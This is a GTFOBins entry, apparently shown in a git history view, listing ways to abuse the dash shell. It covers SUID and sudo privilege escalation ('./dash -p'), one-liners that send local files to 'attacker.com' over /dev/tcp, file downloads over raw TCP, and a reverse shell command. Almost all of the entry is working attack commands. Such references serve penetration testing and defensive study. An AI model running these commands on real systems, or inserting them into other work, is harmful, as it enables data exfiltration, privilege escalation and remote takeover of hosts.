GTFOBins.github.io/_gtfobins/dash.md

42 lines
1.6 KiB
Markdown
Raw Normal View History

2018-05-24 22:47:10 +02:00
---
functions:
exec-interactive:
- code: dash
sudo-enabled:
- code: sudo dash
suid-enabled:
- code: ./dash -p
upload:
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
2018-05-24 23:43:04 +02:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
dash -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
2018-05-24 22:47:10 +02:00
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
code: |
2018-05-24 23:43:04 +02:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
dash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
2018-05-24 22:47:10 +02:00
download:
- description: Fetch a remote file via HTTP GET request.
code: |
2018-05-24 23:43:04 +02:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
dash -c '(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d \"\r\")" != "" ]; do read i; done; cat) > $LFILE'
2018-05-24 22:47:10 +02:00
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
code: |-
2018-05-24 23:43:04 +02:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
dash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
2018-05-24 22:47:10 +02:00
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
2018-05-24 23:43:04 +02:00
export RHOST=attacker.com
export RPORT=12345
dash -c 'dash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
2018-05-24 22:47:10 +02:00
---